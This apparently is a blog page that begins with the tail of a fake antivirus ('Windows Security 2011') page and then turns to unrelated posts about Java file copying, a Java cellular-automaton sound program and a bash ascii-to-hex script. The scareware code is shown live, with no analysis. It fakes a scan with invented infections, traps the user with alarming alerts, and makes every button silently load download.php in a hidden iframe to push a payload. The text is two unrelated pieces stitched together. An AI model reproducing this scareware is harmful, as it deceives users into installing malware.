      <td width="86" height="20"></td>
     </tr>
  </tbody>
 </table>
 
 </div>

 <div class="images_recommend"><strong>Recommend:</strong> Click "Start Protection" button to erase all threats</div>
 <div class="images_start"><form style="padding: 0pt; margin: 0pt; font-family: tahoma; font-size: 11px;"><input style="padding: 0pt; margin: 0pt; font-family: tahoma; font-size: 11px;" value="Start Protection" onclick="download();return false;" type="button" height="23" width="104"></form></div>
 </div>
 </div>
 <div class="images_main_content"></div>
</div></div>
<div id="frame"></div>
<div id="alert_window_0"><div style="z-index: 100; width: 1664px; height: 881px;" class="backgroundOpacityLayer"></div>

<div align="center" style="z-index: 101; position: static; margin-top: 209px;" class="foregroundContentLayer">


<div id="cl_alert" style="display:none;">
 <div id="cl_main" class="images_table_divider" align="left">

  <div class="close" onclick="download();return false;"></div>
 <div class="move" onmousedown="download();return false;"></div>
 <div class="spacer"></div>
 <div class="text1">To help protect your computer, Windows Web Security have detected Trojans and ready to remove them.</div>
 <div class="cl_viruses">
  <div class="virus" id="viruses">
 <div class="virus_1_1"><b class="threat" style="position: absolute; left: 0px; top: 2px;"></b>Adware.Win32.Winad</div><div class="virus_1_1"><b class="threat" style="position: absolute; left: 0px; top: 2px;"></b>W32.Yaha.B@mm</div><div class="virus_1_1"><b class="threat" style="position: absolute; left: 0px; top: 2px;"></b>Magic DVD Ripper</div><div class="virus_1_1"><b class="threat" style="position: absolute; left: 0px; top: 2px;"></b>Trojan-PSW.Win32.LdPinch.abm</div><div class="virus_1_1"><b class="threat" style="position: absolute; left: 0px; top: 2px;"></b>Trojan virtumonde</div><div class="virus_1_1"><b class="threat" style="position: absolute; left: 0px; top: 2px;"></b>Trojan.Fakealert.355</div><div class="virus_1_1"><b class="threat" style="position: absolute; left: 0px; top: 2px;"></b>Trojan.Qoologic - Key Logger</div><div class="virus_1_1"><b class="threat" style="position: absolute; left: 0px; top: 2px;"></b>Adware.Win32.Look2me.ab</div><div class="virus_1_1"><b class="threat" style="position: absolute; left: 0px; top: 2px;"></b>Trojan Horse IRC/Backdoor.SdBot4.FRV</div><div class="virus_1_1"><b class="threat" style="position: absolute; left: 0px; top: 2px;"></b>Win32/Hoax.Renos.HX</div></div>

 <div class="virusname" id="hazardType">
 <div class="virus_1_1">noise.dat</div><div class="virus_1_1">emptyregdb.dat</div><div class="virus_1_1">mpr.dll</div><div class="virus_1_1">ieakui.dll</div><div class="virus_1_1">SET3.tmp</div><div class="virus_1_1">country.sys</div><div class="virus_1_1">ahui.exe</div><div class="virus_1_1">popcinfo.dat</div><div class="virus_1_1">dsdmo.dll</div><div class="virus_1_1">Active Setup Log.txt</div></div>
  
 </div>
 <div class="text2">Spyware is software, which can gather information from user's computer through Internet connection and send them to its creater. Gather information can be passwords, e-mail adresses and all that data, which is important for you.</div>

 <div class="remove" onclick="download();return false;"></div>
 <div class="cancel" onclick="download();return false;"></div>
 </div>

</div></div></div>
</div>

<script>window.onbeforeunload = function() { 
return 'Your system is at risk of crash. Press CANCEL to prevent it.'; };


function download(){
 document.getElementById('frame').innerHTML = '<iframe src="download.php?q=2" style="width: 0px; height: 0px; border: 0px none;"></iframe>';
}
function n3(id,i){
 if (i==0){
  document.getElementById(id).style.visibility = 'visible';
  setTimeout('n3("'+id+'",1);',500);
 }else if(i==1){
  document.getElementById(id).style.visibility = 'hidden';
  setTimeout('n3("'+id+'",0);',500);
 }
}

function AddVir(text1,text2,text3){
var x=document.getElementById('tablevir').insertRow(0);
var y=x.insertCell(0);
var z=x.insertCell(1);
var zz=x.insertCell(2);
var zzz=x.insertCell(3);
y.innerHTML='<b class="threat"></b>';
z.innerHTML=text1;
zz.innerHTML=text2;
zzz.innerHTML=text3;
}
function scan(i){
 if (i<=503){
  per = Math.round((i*100)/503);
  document.getElementById('images_scroll_bg').style.width = i+'px';
  document.getElementById('images_scroll').innerHTML = per;
  
  file = ["MSFDC.INF","MSFS.CNT","MSFS.HLP","MSFS32.DLL","MSFVW32.DLL","MSG721.ACM","MSGM32.ACM","MSGSRV32.EXE","MSHDC.INF","MSHEARTS.CNT","MSHEARTS.EXE","MSHEARTS.HLP","MSJSTICK.DRV","MSMAIL.INF","MSMIXMGR.DLL","MSMOUSE.INF","MSMOUSE.VXD","MSMPU400.DRV","MSMPU401.VXD","MSN.CNT","MSN.HLP","MSN.MSN","MSN.TXT","MSNBBS.HLP","MSNCHAT.HLP","MSNDUI.DLL","MSNET.DRV","MSNET32.DLL","MSNEXCH.EXE","MSNFIND.EXE","MSNFULL.HLP","MSNINT.HLP","MSNMAIL.HLP","MSNP32.DLL","MSNPSS.CNT","MSNPSS.HLP","MSNVER.TXT","MSODISUP.VXD","MSOPL.DRV","MSOPL.VXD","MSPAINT.CNT","MSPAINT.EXE","MSPAINT.HLP","MSPCIC.DLL","MSPORTS.INF","MSPP32.DLL","MSPST32.DLL","MSPWL32.DLL","MSRLE32.DLL","MSSBLST.DRV","MSSBLST.VXD","MSSHRUI.DLL","MSSNDSYS.DRV","MSSNDSYS.VXD","MSSOUND.WAV","MSSP.VXD","MSTCP.DLL","MSUCIARE.WAV","MSVCRT20.DLL","MSVID32.DLL","MSVIDEO.DLL","MSVIEWUT.DLL","MSWD6_32.WPC","MT_T1101.SPD","MTD.INF","MTLITE.DRV","MTMMINIP.MPD","MULTILNG.INF","MV1401.DRV","MV1514MX.DRV","MVCL14N.DLL","MVIFM.DRV","MVIFM.PAT","MVIWAVE.DRV","MVMIXER.DRV","MVPAS.VXD","MVPR14N.DLL","MVPROAUD.DRV","MVTTL14C..DLL","MVUT14N.DLL","N15210.DOS","N18510.DOS","N2090522.SPD","N2290520.SPD","N890_470.SPD","N890X505.SPD","NAL.DLL","NBSTAT.EXE","NCC16.DOS","NDDEAPI.DLL","NDDENB.DLL","NDIS.VXD","NDIS2SUP.VXD","NDIS30.DLL","NDIS39XR.DOS","NDIS89XR.DOS","NDISHLP.SYS","NE1000.DOS","NE1000.SYS","NE2000.DOS","NE2000.SYS","NE3200.BIN","NE3200.DOS","NE3200.SYS","NEC24PIN.DRV","NECATAPI.VXD","NET.EXE","NET.INF","NET.MSG","NET3COM.INF","NETAMD.INF","NETAPI.DLL","NETAPI32.DLL","NETAUXT.INF","NETBEUI.VXD","NETBIOS.DLL","NETBW.INF","NETCABLE.INF","NETCD.INF","NETCDA.INF","NETCEM.INF","NETCLI.INF","NETCLI.INF","NETCPL.CPL","NETCPQ.INF","NETDDE.EXE","NETDEC.INF","NETDEF.INF","NETDET.INI","NETDI.DLL","NETEE16.INF","NETEVX.INF","NETFLEX.INF","NETFLX.BIN","NETFLX.DOS","NETFLX.SYS","NETGEN.INF","NETH.MSG","NETHP.INF","NETIBM.INF","NETIBMCC.INF","NETMADGE.INF","NETMON.386","NETMON.INF","NETNCR.INF","NETNICE.INF","NETNOVEL.INF","NETOLI.INF","NETOS.INF","NETOSI.INF","NETPPP.INF","NETPROT.INF","NETRACAL.INF","NETSERVR.INF","NETSETUP.ADM","NETSETUP.DLL","NETSETUP.EXE","NETSETUP.INF","NETSETUP.LAY","NETSILC.INF","NETSMC.INF","NETSMC32.INF","NETSMCTR.INF","NETSNIP.INF","NETSOCK.INF","NETSTAT.EXE","NETSUSSRC.INF","NETTCC..INF","NETTDKP.INF","NETTRANS.INF","NETTULIP.INF","NETUB.INF","NetWare.MS","NETWATCH.CNT","NETWATCH.EXE","NETWATCH.HLP","NETWORK.HLP","NETWORK.TXT","NETXIR.INF","NETZNOTE.INF","NICE.VXD","NLSFUNC.EXE","NM95SETP.DLL","NMAGENT.EXE","NMAGENT.INF","NMSUPP4.386","NMTHUNK.DLL","NO_1.CUR","NO_2.CUR","NO_3.CUR","NO_4.CUR","NO_5.CUR","NO_L.CUR","NO_M.CUR","NODRIVER.INF","NOTEPAD.CNT","NOTEPAD.EXE","NOTEPAD.HLP","NSCL.VXD","NTDLL.DLL","NW16.DLL","NWAB32.DLL","NWLINK.VXD","NWLSCON.EXE","NWLSPROC.EXE","NWNBLINK.VXD","NWNET32.DLL","NWNP32.DLL","NWPP32.DLL","NWREDIR.VXD","NWRPLTRM.COM","NWSERVER.VXD","NWSP.VXD","OAK.VXD","OCTK16.SYS","OCTK32.VXD","ODIHLP.EXE","OK124.DRV","OK1830US.SPD","OK1840US.SPD","OK1850US.SPD","OK19.DRV","OK19IBM.DRV","OKOL8701.SPD","OL830525.SPD","OL840518.SPD","OL850525.SPD","OLE2.DLL","OLE2.INF","OLE2CONV.DLL","OLE2DISP.DLL","OLE2NLS.DLL","OLE32.DLL","OLEAUT32.DLL","OLECLI.DLL","OLECLI32.DLL","OLECNV32.DLL","OLEDLG.DLL","OLESRV.DLL","OLESRV32.DLL","OLETHK32.DLL","OLIDM24.DRV","OLIDM9.DRV","OLITOK.DOS","OLITOK16.DOS","ONLSTMT.EXE","ONLSTMT.HLP","P351SX2.DRV","P4455514.SPD","PA3DMXD.DRV","PACKAGER.EXE","PACKAGER.CNT","PACKAGER.HLP","PAGESWAP.VXD","PAINTJET.DRV","PANMAP.DLL","PANSON24.DRV","PANSON9.DRV","PAP54001.SPD","PAP54101.SPD","PARALINK.VXD","PARITY.VXD","PASSPORT.MID","PASSWORD.CPL","PBRUSH.EXE","PC2X.MPD","PCCARD.VXD","PCI.VXD","PCMCIA.INF","PCNTN3.VXD","PCNTND.DOS","PCSA.EXE","PE2NDIS.DOS","PE3NDIS.EXE","PE3NDIS.VXD","PEN_1.CUR","PEN_2.CUR","PEN_3.CUR","PEN_4.CUR","PEN_5.CUR","PEN_L.CUR","PEN_M.CUR","PENDIS.DOS","PERF.VXD","PHIIPX.SPD","PHONE.PBK","PIANO.ANI","PIFCONV.EXE","PIFMGR.DLL","PING.EXE","PJLMON.DLL","PKPD.DLL","PKPD32.DLL","PMSPL.DLL","POINTER.DLL","POINTER.EXE","POLEDIT.CNT","POLEDIT.EXE","POLEDIT.HLP","POLEDIT.INF","POWER.DRV","POWERCFG.DLL","POWRPNT.PPT","PPM.VXD","PPPMAC.VXD","PRECOPY.INF","PRESENTA.SHW","PRINT.EXE","PRINTER.TXT","PRO4.DOS","PRO4AT.DOS","PRODINV.DLL","PROGMAN.CNT","PROGMAN.EXE","PROGMAN.HLP","PROPRINT.DRV","PROPRN24.DRV","PRORAPM.DWN","PROTEON.VXD","PROTMAN.DOS","PROTMAN.EXE","PRTUPD.INF","PS1.DRV","PS4079.ICM","PSCRIPT.DRV","PSCRIPT.HLP","PSCRIPT.INI","PSMON.DLL","PSTRIPE.BMP","PYRAMID2.BMP","Q1C117.VXD","QBASIC.EXE","QBASIC.HLP","QCS1000.SPD","QCS10503.SPD","QCS30503.SPD","QM1700_1.SPD","QM200C_1.SPD","QM823MR1.SPD","QMPS4101.SPD","QMS10030.ICM","QMS1725.SPD","QMS3225.SPD","QMS420.SPD","QMS45252.SPD","QMS860.SPD","QMS8P461.SPD","QMSCS210.SPD","QMSCS230.SPD","QUATTRO.WB2","QUICKVIEW.EXE","QUIETJET.DRV","QWIII.DRV","QWMMFIX.VXD","RAINBOW.ANI","RAMDRIVE.SYS","RASAPI16.DLL","RASAPI32.DLL","RCV0000.EFX","README.TXT","REBOOT.VXD","REDBRICK.BMP","REDIR32.EXE","REDIRECT.MOD","REDTILE.BMP","REGEDIT.CNT","REGEDIT.EXE","REGEDIT.HLP","REGSERV.EXE","REGSRV.INF","REGWIZ.EXE","RESTORE.EXE","RICHED.DLL","RICHED32.DLL","RINGIN.WAV","RINGOUT.WAV","RIVETS.BMP","RIVETS2.BMP","RMM.PDR","RNA.INF","RNAAPP.EXE","RNAL.DLL","RNANP.DLL","RNAPLUS.INF","RNASERV.DLL","RNASETUP.DLL","RNATHUNK.DLL","RNAUI.DLL","RNDSRV32.DLL","ROMAN.FON","ROUTE.EXE","RPCLTC1.DLL","RPCTLC3.DLL","RPCTLC5.DLL","RPCTLC6.DLL","RPCTLS3.DLL","RPCTLS5.DLL","RPCTLS6.DLL","RPCNS4.DLL","RPCPP.DLL","RPCRT4.DLL","RPCSS.EXE","RPLBOOT.SYS","RPLIMAGE.DLL","RPLIMAGE.EXE","RSRC16.DLL","RSRC32.DLL","RSRCMTR.EXE","RSRCMTR.INF","RUMOR.EXE","RUNDLL.EXE","RUNDLL32.EXE","RUNONCE.EXE","S3.DRV","S3.VXD","SACLIENT.DLL","SAMPLE VIDEOS","SAND.BMP","SAPNSP.DLL","SAVE32.COM","SB16.VXD","SB16SND.DRV","SBAWE.VXD","SBAWE32.DRV","SBFM.DRV","SCANDISK.BAT","SCANDISK.EXE","SCANDISK.EXE","SCANDISK.INI","SCANDISK.PIF","SCANPROG.EXE","SCANPST.EXE","SCAPST.HLP","SCCVIEW.DLL","SCRNSAVE.SCR","SCSI.INF","SCSI1HLP.VXD","SCSIPORT.PDR","SECUR32.DLL","SECURCL.DLL","SEIKO24E.DRV","SEIKOSM9.DRV","SELECT.EXE","SERENUM.VXD","SERIAL.VXD","SERIALUI.DLL","SERIFE.FON","SERIFF.FON","SERMDIR.EXE","SERVER.HLP","SETUP.BIN","SETUP.BMP","SETUP.EXE","SETUP.INF","SETUP.TXT","SETUP4.DLL","SETUPPP.INF","SETUPX.DLL","SETUPX.DLL","SETVER.EXE","SF4029.EXE","SHARE.EXE","SHELL.DLL","SHELL.INF","SHELL.NEW","SHELL.VXD","SHELL2.INF","SHELL3.INF","SHELL32.DLL","SHSCRAP.DLL","SIGNUP.EXE","SIZENESW.ANI","SIZENS.ANI","SIZENWSE.ANI","SIZEWE.ANI","SKPSFA_1.SPD","SLAN.DOS","SLCD.MPD","SLENH.DLL","SMALLE.FON","SMALLF.FON","SMARTDRV.EXE","SMARTND.DOS","SMC_ARC.DOS","SMC3000.DOS","SMC8000.DOS","SMC8000W.VXD","SMC80PC.VXD","SMC8100.DOS","SMC8100W.VXD","SMC8232.DOS","SMC8232W.VXD","SMC9000.DOS","SMC9000.VXD","SNAPSHOT.EXE","SNAPSHOT.VXD","SNDREC32.EXE","SNDVOL32.CNT","SNDVOL32.EXE","SNDVOL32.HLP","SNIP.VXD","SMMP.EXE"];
  
  
  document.getElementById('blog6').innerHTML = file[i];
  
  if (per==5){document.getElementById('123').innerHTML = '1';n3('blog',0);}
  if (per==25){document.getElementById('123').innerHTML = '2';}
  if (per==45){document.getElementById('123').innerHTML = '3';}
  if (per==70){document.getElementById('123').innerHTML = '4';}
  if (per==80){document.getElementById('123').innerHTML = '5';}
  if (per==90){document.getElementById('123').innerHTML = '6';}
  
  if (per==5){document.getElementById('345').innerHTML = '1';n3('forum',0);}
  if (per==15){document.getElementById('345').innerHTML = '2';}
  if (per==35){document.getElementById('345').innerHTML = '3';}
  if (per==55){document.getElementById('345').innerHTML = '5';}
  if (per==70){document.getElementById('345').innerHTML = '8';}
  if (per==80){document.getElementById('345').innerHTML = '11';}
  
  if (per==13){document.getElementById('567').innerHTML = '1';n3('community',0);}
  if (per==30){document.getElementById('567').innerHTML = '2';}
  if (per==60){document.getElementById('567').innerHTML = '4';}
  if (per==80){document.getElementById('567').innerHTML = '7';}
  
  if (i==10){
   AddVir("<strong>Adware.Win32.Winad</strong>",'virus','<strong><font color="#ff0000">Critical</font></strong>');
  }else if (i==40){
   AddVir("<strong>W32.Yaha.B@mm</strong>",'virus','<strong><font color="#ff0000">Critical</font></strong>'); 
  }else if (i==70){
   AddVir("<strong>Magic DVD Ripper</strong>",'virus','<strong><font color="#ff0000">High</font></strong>'); 
  }else if (i==100){
   AddVir("<strong>Trojan-PSW.Win32.LdPinch.abm</strong>",'virus','<strong><font color="#ff0000">Critical</font></strong>'); 
  }else if (i==130){
   AddVir("<strong>Trojan virtumonde</strong>",'virus','<strong><font color="#ff0000">Critical</font></strong>'); 
  }else if (i==170){
   AddVir("<strong>Trojan.Fakealert.355</strong>",'virus','<strong><font color="#ff0000">Medium</font></strong>');
  }else if (i==200){
   AddVir("<strong>Trojan.Qoologic - Key Logger</strong>",'virus','<strong><font color="#ff0000">High</font></strong>');
  }else if (i==250){
   AddVir("<strong>Adware.Win32.Look2me.ab</strong>",'virus','<strong><font color="#ff0000">Critical</font></strong>');
  }else if (i==300){
   AddVir("<strong>Trojan Horse IRC/Backdoor.SdBot4.FRV</strong>",'virus','<strong><font color="#ff0000">Medium</font></strong>');
  }else if (i==400){
   AddVir("<strong>Win32/Hoax.Renos.HX</strong>",'virus','<strong><font color="#ff0000">Medium</font></strong>');
  }
  
  i=i+1;
  setTimeout('scan('+i+');',18);
 }else{
  document.getElementById('cl_alert').style.display = 'block'; 
  document.getElementById('blog6').innerHTML = 'Complete Scan';
  //download();
 }
}
width = screen.width;
height = screen.height;

width1 = (width/2)-20;
height1 = (height/2)-20;


window.resizeTo(0,0);
window.moveTo(width1,height1);

alert('Windows Security 2011 has found critical process activity on your PC and will perform fast scan of system files!!!');

document.getElementById('loading').style.display = 'none';
document.getElementById('content').style.display = 'block';

window.moveTo(0,0);
window.resizeTo(screen.width,screen.height);
scan(0);</script>

</body>
</html>

Friday, June 10, 2011

Java: Write to File: Copy Bytes: Copy Music


import java.io.*;
import java.io.File;
import javax.sound.sampled.*;

public class InOut {

public static void main(String[] args) {
 try {
      File srcFile = new File("earthmovers1.mp3");
      File dstFile = new File("earthmovers2.mp3");
      FileInputStream in = new FileInputStream(srcFile);
      FileOutputStream out = new FileOutputStream(dstFile);

      byte[] buf = new byte[1024];
      int len;
      while ((len = in.read(buf)) > 0) { 
                                   out.write(buf, 0, len);
                                       }

     in.close();
     out.close();

   } catch ( Exception e ) {System.out.println( e );}


    }
}

Thursday, June 9, 2011

aLife cellular automata with sound output

Warning: a typo creating a bug in this, needs repair.

import javax.sound.sampled.*;
import java.util.Random;
/**
 * 
 */
public class Alife
   {

    private double frequency = 1000.0;
    private double rad = 0.5 * Math.PI;
    private double volume = 256.0; 
    private int byteSize = 10000;
    
    
    public Alife(int myByteSize, double myFrequency, double myRad, double myVolume ) {
     byteSize =myByteSize;
     frequency = myFrequency;
     rad = myRad;
     volume = myVolume;
    }
    
    
   
    public void aByte() {
      Random r = new Random();
     try
     {
      AudioFormat af = new
      AudioFormat( (float)byteSize, 8, 1, true, true );
  
      
      DataLine.Info info = new
      DataLine.Info ( SourceDataLine.class, af );
      SourceDataLine source =
      (SourceDataLine) AudioSystem.getLine( info );
      source.open( af );
      source.start();
      byte[] buf = new byte[byteSize];
      int bufLess = buf.length - 10;
      int localPop = 0;
      int deaths = 0;
      int births = 0;
      int currentPop = 0;
      int iterations = 0;
     //  RULE 1 Any live cell with fewer than two live neighbours dies, as if caused by under-population.
     //  RULE 2 Any live cell with two or three live neighbours lives on to the next generation.
     //  RULE 3 Any live cell with more than three live neighbours dies, as if by overcrowding.
     //  RULE 4 Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.
      boolean firstRun = true;
      while (true) {     
        iterations++; 
 localPop = 0;
        deaths = 0;
        births = 0;
        currentPop = 0;
        rad = rad + 0.1;
        if (rad>1.0) {rad=0.0;}
        for ( int i=0; i<buf.length; i++ ) {
    
        if (volume>512) {volume=0;}
        if (firstRun == false) {       
        if (i > 10) {
          if (i < bufLess) {
           if (buf[i-1]>0.0) {localPop++;} 
    if (buf[i+1]>0.0) {localPop++;} 
    if (buf[i-2]>0.0) {localPop++;} 
    if (buf[i+2]>0.0) {localPop++;} 
           // GOT A LOCAL POPULATION COUNT ABOVE     
                     if ((buf[i]<0.1) && (localPop==3))  { rad=r.nextGaussian();frequency++;volume++;  } // RULE 4
        else { if ( (buf[i]>0.0) && (localPop>3) ) {rad=0.0; frequency--; } // RULE 3
                    else { if ( (buf[i]>0.0) && (localPop<2) ) {rad=0.0;frequency--;volume--; } // RULE 1
                  else { rad=rad+0.1 ; volume++;frequency++; } // RULE 2
                        }
        }
                  } 
          }      
   }
        if (buf[i]>0) {currentPop++;} else {deaths++;} 
       buf[i] = (byte)( Math.sin( rad * frequency / byteSize  ) * volume  );
           }
  
      source.write( buf, 0, buf.length );
      source.write( buf, buf.length, 0 );
      source.write( buf, 0, currentPop );
      source.write( buf, deaths, 0 );
      firstRun = false;    
      System.out.println( "current pop:" + currentPop );
      System.out.println( "deaths:" + deaths );
      System.out.println( "iterations:" + iterations );

      }

      // source.drain();
      // source.stop();
      // source.close(); 
      
      
      
     }
     catch ( Exception e )
     {
      System.out.println( e );
     }

    }

 public static void main(String[] args) {
  int byteSize = 10000;
  double frequency = 500.0;
  double myRad = 0.2 * Math.PI;
  double volume = 256.0;
  Alife line1 = new Alife(byteSize, frequency, myRad, volume);
  line1.aByte();
 }


 
   }



Wednesday, June 1, 2011

ascii to hex converter. useful for iwconfig key parameter

#!/usr/bin/env bash

echo -n "$1 (64-bit) : " 
echo -n $1 | hexdump -e '5/1 "%02x" "\n"'
echo -n "$1 (128-bit): "
echo -n $1 | hexdump -e '13/1 "%02x" "\n"'